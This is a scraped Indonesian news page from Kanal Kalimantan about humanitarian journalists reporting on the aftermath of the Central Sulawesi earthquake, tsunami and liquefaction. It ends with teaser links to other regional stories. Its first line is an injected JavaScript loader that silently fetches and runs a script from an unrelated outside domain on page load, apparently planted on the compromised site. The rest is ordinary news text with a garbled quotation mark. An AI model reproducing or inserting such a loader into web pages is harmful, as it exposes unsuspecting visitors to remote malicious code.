(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Selama 6 hari jurnalis kemanusian Kanal Kalimantan bersama Aksi Cepat Tanggap (ACT) Kalsel menetap di lokasi bencana Sulawesi Tengah melaporkan kondisi pasca gempa, tsunami, dan fenomena likuifaksi yang melanda Kota Palu, Kabupaten Sigi dan Kabupaten Donggala.
Meski fase emergency telah berubah menjadi fase recovery, namun masih jelas terasa bahwa bencana pada akhir September itu masih meninggalkan dampak besar dan trauma bagi para korban. Masih banyak masyarakat yang tidak memiliki tempat tinggal, kelaparan dan kebutuhan lainnya yang masih kekurangan. Trauma mendalam juga masih tengiang-tengiang di pikiran mereka khususnya para anak-anak.
Pesan kemanusian dari jurnalis kemanusian Kanal Kalimantan terekam dalam berbagai momen untuk warga Indonesia. Ya “mereka membutuhkan bantuan, meski sedikit tapi itu sangat berarti.†(rico)
Berikut momen yang sempat terekam di Palu, Sigi, dan Donggala
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.